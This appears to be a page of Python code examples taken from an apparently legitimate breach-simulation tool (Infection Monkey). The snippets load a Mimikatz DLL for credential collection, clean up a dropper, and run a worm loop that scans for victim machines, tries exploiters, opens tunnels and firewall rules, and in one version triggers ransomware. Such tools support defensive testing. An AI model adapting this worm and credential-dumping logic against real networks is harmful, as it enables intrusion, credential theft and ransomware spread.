Ejemplo n.º 1
0
    def init_mimikatz(self):
        try:
            with zipfile.ZipFile(
                    get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME),
                    'r') as mimikatz_zip:
                mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME,
                                     path=get_binaries_dir_path(),
                                     pwd=self.MIMIKATZ_ZIP_PASSWORD)

            self._dll = ctypes.WinDLL(
                get_binary_file_path(self.MIMIKATZ_DLL_NAME))
            collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
            get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
            get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
            self._collect = collect_proto(("collect", self._dll))
            self._get = get_proto(("get", self._dll))
            self._get_text_output_proto = get_text_output_proto(
                ("getTextOutput", self._dll))
            self._isInit = True
            status = ScanStatus.USED
        except Exception:
            LOG.exception("Error initializing mimikatz collector")
            status = ScanStatus.SCANNED
        T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
        T1129Telem(status, UsageEnum.MIMIKATZ).send()
Ejemplo n.º 2
0
    def cleanup(self):
        try:
            if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
                    os.path.exists(self._config['source_path']) and \
                    WormConfiguration.dropper_try_move_first:

                # try removing the file first
                try:
                    os.remove(self._config['source_path'])
                except Exception as exc:
                    LOG.debug("Error removing source file '%s': %s",
                              self._config['source_path'], exc)

                    # mark the file for removal on next boot
                    dropper_source_path_ctypes = c_char_p(
                        self._config['source_path'])
                    if 0 == ctypes.windll.kernel32.MoveFileExA(
                            dropper_source_path_ctypes, None,
                            MOVEFILE_DELAY_UNTIL_REBOOT):
                        LOG.debug(
                            "Error marking source file '%s' for deletion on next boot (error %d)",
                            self._config['source_path'],
                            ctypes.windll.kernel32.GetLastError())
                    else:
                        LOG.debug(
                            "Dropper source file '%s' is marked for deletion on next boot",
                            self._config['source_path'])
                        T1106Telem(ScanStatus.USED,
                                   UsageEnum.DROPPER_WINAPI).send()
        except AttributeError:
            LOG.error("Invalid configuration options. Failing")
Ejemplo n.º 3
0
    def cleanup(self):
        logger.info("Cleaning up the dropper")

        try:
            if ((self._config["source_path"].lower() !=
                 self._config["destination_path"].lower())
                    and os.path.exists(self._config["source_path"])
                    and WormConfiguration.dropper_try_move_first):

                # try removing the file first
                try:
                    os.remove(self._config["source_path"])
                except Exception as exc:
                    logger.debug("Error removing source file '%s': %s",
                                 self._config["source_path"], exc)

                    # mark the file for removal on next boot
                    dropper_source_path_ctypes = c_char_p(
                        self._config["source_path"].encode())
                    if 0 == ctypes.windll.kernel32.MoveFileExA(
                            dropper_source_path_ctypes, None,
                            MOVEFILE_DELAY_UNTIL_REBOOT):
                        logger.debug(
                            "Error marking source file '%s' for deletion on next boot (error "
                            "%d)",
                            self._config["source_path"],
                            ctypes.windll.kernel32.GetLastError(),
                        )
                    else:
                        logger.debug(
                            "Dropper source file '%s' is marked for deletion on next boot",
                            self._config["source_path"],
                        )
                        T1106Telem(ScanStatus.USED,
                                   UsageEnum.DROPPER_WINAPI).send()

            logger.info("Dropper cleanup complete")
        except AttributeError:
            logger.error("Invalid configuration options. Failing")
Ejemplo n.º 4
0
    def start(self):
        try:
            LOG.info("Monkey is starting...")

            LOG.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if self.is_started_on_island():
                ControlClient.report_start_on_island()
            ControlClient.should_monkey_run(self._opts.vulnerable_port)

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            monkey_tunnel = ControlClient.create_control_tunnel()
            if monkey_tunnel:
                monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            LOG.debug("Starting the post-breach phase.")
            self.collect_system_info_if_configured()
            PostBreach().execute_all_configured()

            LOG.debug("Starting the propagation phase.")
            self.shutdown_by_max_depth_reached()

            for iteration_index in range(WormConfiguration.max_iterations):
                ControlClient.keepalive()
                ControlClient.load_control_config()

                self._network.initialize()

                self._fingerprint = HostFinger.get_instances()

                self._exploiters = HostExploiter.get_classes()

                if not self._keep_running or not WormConfiguration.alive:
                    break

                machines = self._network.get_victim_machines(
                    max_find=WormConfiguration.victims_max_find,
                    stop_callback=ControlClient.check_for_stop)
                is_empty = True
                for machine in machines:
                    if ControlClient.check_for_stop():
                        break

                    is_empty = False
                    for finger in self._fingerprint:
                        LOG.info(
                            "Trying to get OS fingerprint from %r with module %s",
                            machine, finger.__class__.__name__)
                        finger.get_host_fingerprint(machine)

                    ScanTelem(machine).send()

                    # skip machines that we've already exploited
                    if machine in self._exploited_machines:
                        LOG.debug("Skipping %r - already exploited", machine)
                        continue
                    elif machine in self._fail_exploitation_machines:
                        if WormConfiguration.retry_failed_explotation:
                            LOG.debug(
                                "%r - exploitation failed before, trying again",
                                machine)
                        else:
                            LOG.debug(
                                "Skipping %r - exploitation failed before",
                                machine)
                            continue

                    if monkey_tunnel:
                        monkey_tunnel.set_tunnel_for_host(machine)
                    if self._default_server:
                        if self._network.on_island(self._default_server):
                            machine.set_default_server(
                                get_interface_to_target(machine.ip_addr) +
                                (':' + self._default_server_port if self.
                                 _default_server_port else ''))
                        else:
                            machine.set_default_server(self._default_server)
                        LOG.debug("Default server for machine: %r set to %s" %
                                  (machine, machine.default_server))

                    # Order exploits according to their type
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                    if not self._keep_running:
                        break

                if (not is_empty) and (WormConfiguration.max_iterations >
                                       iteration_index + 1):
                    time_to_sleep = WormConfiguration.timeout_between_iterations
                    LOG.info(
                        "Sleeping %d seconds before next life cycle iteration",
                        time_to_sleep)
                    time.sleep(time_to_sleep)

            if self._keep_running and WormConfiguration.alive:
                LOG.info("Reached max iterations (%d)",
                         WormConfiguration.max_iterations)
            elif not WormConfiguration.alive:
                LOG.info("Marked not alive from configuration")

            # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                LOG.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel",
                    time_to_sleep)
                time.sleep(time_to_sleep)

            if monkey_tunnel:
                monkey_tunnel.stop()
                monkey_tunnel.join()
        except PlannedShutdownException:
            LOG.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution."
            )
            LOG.exception("Planned shutdown, reason:")
Ejemplo n.º 5
0
def T1106_telem_test_instance():
    return T1106Telem(STATUS, USAGE)
Ejemplo n.º 6
0
    def start(self):
        LOG.info("Monkey is running...")

        # Sets island's IP and port for monkey to communicate to
        if not self.set_default_server():
            return
        self.set_default_port()

        # Create a dir for monkey files if there isn't one
        create_monkey_dir()

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if is_windows_os():
            T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        StateTelem(is_done=False).send()
        TunnelTelem().send()

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            SystemInfoTelem(system_info).send()

        # Executes post breach actions
        PostBreach().execute()

        if 0 == WormConfiguration.depth:
            TraceTelem("Reached max depth, shutting down").send()
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ScanTelem(machine).send()

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    if self._network.on_island(self._default_server):
                        machine.set_default_server(
                            get_interface_to_target(machine.ip_addr) +
                            (':' + self._default_server_port if self.
                             _default_server_port else ''))
                    else:
                        machine.set_default_server(self._default_server)
                    LOG.debug("Default server for machine: %r set to %s" %
                              (machine, machine.default_server))

                # Order exploits according to their type
                if WormConfiguration.should_exploit:
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
Ejemplo n.º 7
0
    def start(self):
        try:
            logger.info("Monkey is starting...")

            logger.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if is_running_on_island():
                WormConfiguration.started_on_island = True
                ControlClient.report_start_on_island()

            if not ControlClient.should_monkey_run(self._opts.vulnerable_port):
                raise PlannedShutdownException(
                    "Monkey shouldn't run on current machine "
                    "(it will be exploited later with more depth)."
                )

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            self._monkey_tunnel = ControlClient.create_control_tunnel()
            if self._monkey_tunnel:
                self._monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            logger.debug("Starting the post-breach phase asynchronously.")
            self._post_breach_phase = Thread(target=self.start_post_breach_phase)
            self._post_breach_phase.start()

            if not InfectionMonkey.max_propagation_depth_reached():
                logger.info("Starting the propagation phase.")
                logger.debug("Running with depth: %d" % WormConfiguration.depth)
                self.propagate()
            else:
                logger.info(
                    "Maximum propagation depth has been reached; monkey will not propagate."
                )
                TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send()

            if self._keep_running and WormConfiguration.alive:
                InfectionMonkey.run_ransomware()

            # if host was exploited, before continue to closing the tunnel ensure the exploited
            # host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                logger.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
                )
                time.sleep(time_to_sleep)

        except PlannedShutdownException:
            logger.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing "
                "execution."
            )
            logger.exception("Planned shutdown, reason:")

        finally:
            if self._monkey_tunnel:
                self._monkey_tunnel.stop()
                self._monkey_tunnel.join()

            if self._post_breach_phase:
                self._post_breach_phase.join()